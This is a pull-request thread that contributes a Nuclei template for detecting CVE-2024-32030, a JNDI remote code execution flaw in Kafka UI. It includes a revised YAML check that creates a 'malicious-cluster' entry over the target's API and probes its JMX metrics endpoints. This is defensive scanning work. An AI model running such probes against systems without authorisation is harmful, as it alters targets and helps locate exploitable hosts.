Add CVE-2024-32030 Nuclei Template

[huseyinstif]

Template / PR Information

• Add CVE-2024-32030 Nuclei Template
• References:
• https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/
• https://github.com/huseyinstif/CVE-2024-32030-Nuclei-Template

Template Validation

I've validated this template locally?

• YES
• NO

[GeorginaReeder]

Thanks for your contribution @huseyinstif !

[DhiyaneshGeek]

Hi @huseyinstif

Is it possible to share set-up instructions like docker to setup locally of this ?

Thanks

[huseyinstif]

Hello,
You're welcome @GeorginaReeder
Of course you can find it here @DhiyaneshGeek
https://github.com/provectus/kafka-ui

Thank you

[nikilokitokinoki]

Hello,
The template gives false-positive results, looking for words that are in the error/exception response.

[huseyinstif]

Hello, @nikilokitokinoki
Is it better?

id: CVE-2024-32030

info:
  name: CVE-2024-32030 JMX Metrics Collection JNDI RCE
  author: Hüseyin TINTAŞ
  severity: critical
  description: >
    CVE-2024-32030 JMX Metrics Collection JNDI Resolution Remote Code Execution Vulnerability.
    This template checks for the presence of the vulnerability by attempting to connect to a malicious JMX server.
  tags: cve,cve2024,jmx,rce,cve2024-32030

requests:
  - method: POST
    path:
      - "{{BaseURL}}/api/clusters"
    headers:
      Content-Type: "application/json"
    body: |
      {
        "name": "malicious-cluster",
        "bootstrapServers": ["127.0.0.1:1718"],
        "metrics": {
          "type": "JMX",
          "port": 1718
        }
      }
    matchers:
      - type: word
        part: body
        words:
          - '"name":"malicious-cluster"'
        condition: and
      - type: word
        part: body
        words:
          - '"bootstrapServers":["127.0.0.1:1718"]'
        condition: and
      - type: word
        part: body
        words:
          - '"metrics":{"type":"JMX","port":1718}'
        
  - method: GET
    path:
      - "{{BaseURL}}/api/clusters/malicious-cluster"
    matchers:
      - type: word
        part: body
        words:
          - '"name":"malicious-cluster"'
        condition: and
      - type: word
        part: body
        words:
          - '"bootstrapServers":["127.0.0.1:1718"]'
        condition: and
      - type: word
        part: body
        words:
          - '"metrics":{"type":"JMX","port":1718}'
        
  - method: GET
    path:
      - "{{BaseURL}}/api/clusters/malicious-cluster/metrics"
    matchers:
      - type: word
        part: body
        words:
          - '"metrics":{'
        condition: and
      - type: word
        part: body
        words:
          - '"jmx":{'

[nikilokitokinoki]

Thanks for the reply, can't give a definite answer as I guess my target list is not vulnerable to this CVE (and CVE-2023-52251), but no false positives now.

[huseyinstif]

Thanks,

Is there anything you expect from me? @nikilokitokinoki

[nikilokitokinoki]

No, thanks for your time)